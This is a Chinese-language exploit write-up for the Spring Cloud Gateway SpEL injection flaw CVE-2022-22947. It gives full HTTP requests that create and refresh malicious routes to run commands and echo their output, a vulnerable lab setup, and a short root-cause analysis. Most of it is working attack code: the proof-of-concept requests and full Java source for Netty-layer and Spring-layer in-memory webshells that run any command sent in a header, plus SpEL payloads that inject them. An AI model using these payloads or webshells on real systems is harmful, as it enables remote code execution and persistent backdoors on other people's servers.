Spring Cloud Gateway Actuator API SpEL表达式注入命令执行
Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)
漏洞影响
3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。
poc1
# 创建
POST /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.1.77:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 334
{
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/new_route/**"
}
}
],
"filters": [
{
"name": "RewritePath",
"args": {
"_genkey_0": "#{T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")}",
"_genkey_1": "/${path}"
}
}
],
"uri": "https://www.b521.net",
"order": 0
}
# 刷新接口
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.1.77:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Content-Type: application/json
{
"predicate": "Path: [/new_route], match trailing slash: true",
"route_id": "new_route",
"filters": [
"[[RewritePath #{T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")} = /${path}], order = 1]"
],
"uri": "https://www.b521.net",
"order": 0
}
poc2
POST /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.1.77:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 330
{
"id": "test",
"filters": [{
"name": "AddResponseHeader",
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"calc\"}).getInputStream()))}"}
}],
"uri": "http://b521.com",
"order": 0
}
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.1.77:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Content-Type: application/json
Content-Length: 330
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {"name": "Result","value":"#{new java.lang.String(T(org.springframework.util.FileCopyUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"calc\"}).getInputStream()))}"}
}],
"uri": "http://b521.net",
"order":1000
}
回显相关SPEL表达式
// 使用 GET /actuator/gateway/routes/${id}
"#{new java.lang.String(T(org.springframework.util.FileCopyUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
"#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
漏洞分析
漏洞成因是在创建StandardEvaluationContext时, 引入了SPEL表达式, 从而有了RCE的后续
配置的路由规则在这
Spring Cloud Gateway-the-method-route-predicate-factory
routes/{id}请求保存路由
filters:='["AddRequestHeader=X-Request-ApiFoo, ApiBar"]'
org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint#save
路由的filter体可以在请求接口的Javadoc找到, filter配置格式定义可以参考FilterDefinition的name和args字段, ModifyResponseBody
poc里使用的filter
ShortcutConfigurable的getValue方法的第三个参数接受SPEL表达式
漏洞复现
环境搭建, 启动example项目
git clone https://github.com/spring-cloud/spring-cloud-gateway.git
git checkout v3.1.0
依赖
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter</artifactId>
<version>3.1.0</version>
</dependency>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-gateway</artifactId>
<version>3.1.0</version>
</dependency>
配置
management.endpoints.web.exposure.include: '*'
# 需要配置一个Method路由, URL也需要指定一个具体的
- id: index
uri: http://www.b521.net
order: 10000
predicates:
- Method=GET,POST
删除路由
To delete a route, make a request to .DELETE``/gateway/routes/{id_route_to_delete}
注意body要加上对应id
DELETE /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.1.77:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 22
{
"id": "test"
}
Spring cloud gateway通过SPEL注入内存马
spring cloud gateway的web服务是netty+spring构建的,netty的web服务没有遵循servlet规范来设计。这也导致了构造它的内存马,与常规中间件有所不同,从某种程度来讲是这是一种新类型的内存马。
payload优化:
解决BCEL/js引擎兼容性问题
解决base64在不同版本jdk的兼容问题
可多次运行同类名字节码
解决可能导致的ClassNotFound问题
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}
netty层内存马
常规的中间件,filter/servlet/listener组件有一个统一的维护对象。netty每一个请求过来,都是动态构造pipeline,pipeline上的handler都是在这个时候new的。负责给pipeline添加handler是ChannelPipelineConfigurer(下面简称为configurer),因此注入netty内存马的关键是分析configurer如何被netty管理和工作的。
CompositeChannelPipelineConfigurer#compositeChannelPipelineConfigurer是为pipeline选择configurer的关键逻辑(reactor.netty.ReactorNetty.CompositeChannelPipelineConfigurer#compositeChannelPipelineConfigurer)。第一个参数是Spring cloud gateway默认的configurer,第二个是用户额外配置的。第二个参数默认为空,不为空则这两个configurer将被合并为一个新CompositeChannelPipelineConfigurer。CompositeChannelPipelineConfigurer会循环调用所有合并进来configurer来对pipeline添加handler(reactor.netty.ReactorNetty.CompositeChannelPipelineConfigurer#onChannelInit)。
可以通过修改第二个other参数为自己的configurer向pipline中添加内存马。reactor.netty.transport.TransportConfig#doOnChannelInit属性存储着other参数,我使用java-object-searcher以doOnChannelInit为关键字,定位出了它在线程对象的位置。
内存马构造:
public class NettyMemshell extends ChannelDuplexHandler implements ChannelPipelineConfigurer {
public static String doInject(){
String msg = "inject-start";
try {
Method getThreads = Thread.class.getDeclaredMethod("getThreads");
getThreads.setAccessible(true);
Object threads = getThreads.invoke(null);
for (int i = 0; i < Array.getLength(threads); i++) {
Object thread = Array.get(threads, i);
if (thread != null && thread.getClass().getName().contains("NettyWebServer")) {
Field _val$disposableServer = thread.getClass().getDeclaredField("val$disposableServer");
_val$disposableServer.setAccessible(true);
Object val$disposableServer = _val$disposableServer.get(thread);
Field _config = val$disposableServer.getClass().getSuperclass().getDeclaredField("config");
_config.setAccessible(true);
Object config = _config.get(val$disposableServer);
Field _doOnChannelInit = config.getClass().getSuperclass().getSuperclass().getDeclaredField("doOnChannelInit");
_doOnChannelInit.setAccessible(true);
_doOnChannelInit.set(config, new NettyMemshell());
msg = "inject-success";
}
}
}catch (Exception e){
msg = "inject-error";
}
return msg;
}
@Override
// Step1. 作为一个ChannelPipelineConfigurer给pipline注册Handler
public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress) {
ChannelPipeline pipeline = channel.pipeline();
// 将内存马的handler添加到spring层handler的前面
pipeline.addBefore("reactor.left.httpTrafficHandler","memshell_handler",new NettyMemshell());
}
@Override
// Step2. 作为Handler处理请求,在此实现内存马的功能逻辑
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
if(msg instanceof HttpRequest){
HttpRequest httpRequest = (HttpRequest)msg;
try {
if(httpRequest.headers().contains("X-CMD")) {
String cmd = httpRequest.headers().get("X-CMD");
String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
// 返回执行结果
send(ctx, execResult, HttpResponseStatus.OK);
return;
}
}catch (Exception e){
e.printStackTrace();
}
}
ctx.fireChannelRead(msg);
}
private void send(ChannelHandlerContext ctx, String context, HttpResponseStatus status) {
FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context, CharsetUtil.UTF_8));
response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8");
ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
}
}
Spring层内存马
Spring层request请求处理组件很多,有handler/Adapter/Filter等等,理论上都可以拿来做内存马,最简单的应该是RequestMappingHandler。处理方法为org.springframework.web.reactive.DispatcherHandler#handle
Spring cloud gateway主要的路由分发主要由org.springframework.web.reactive.DispatcherHandler类和它三个组件来完成
org.springframework.web.reactive.HandlerMapping 定义路由请求和处理程序映射
org.springframework.web.reactive.HandlerAdapter handler适配器
org.springframework.web.reactive.HandlerResultHandler 结果处理器
使用RequestMappingHandlerMapping这个HandlerMapping,来注册一个与使用@RequestMapping("/*")等效的内存马。
public class SpringRequestMappingMemshell {
public static String doInject(Object requestMappingHandlerMapping) {
String msg = "inject-start";
try {
Method registerHandlerMethod = requestMappingHandlerMapping.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class);
registerHandlerMethod.setAccessible(true);
Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class);
PathPattern pathPattern = new PathPatternParser().parse("/*");
PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition(pathPattern);
RequestMappingInfo requestMappingInfo = new RequestMappingInfo("", patternsRequestCondition, null, null, null, null, null, null);
registerHandlerMethod.invoke(requestMappingHandlerMapping, new SpringRequestMappingMemshell(), executeCommand, requestMappingInfo);
msg = "inject-success";
}catch (Exception e){
msg = "inject-error";
}
return msg;
}
public ResponseEntity executeCommand(String cmd) throws IOException {
String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
return new ResponseEntity(execResult, HttpStatus.OK);
}
}
调用RequestMappingHandlerMapping, 使用beanFactory的上下文获取 beanFactory.getBean("requestMappingHandlerMapping")
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('SpringRequestMappingMemshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping)}
参考链接
CVE-2022-22947: SpEL Casting and Evil Beans – Wya.pl
vulhub/spring/CVE-2022-22947 at master · vulhub/vulhub (github.com)
Spring cloud gateway通过SPEL注入内存马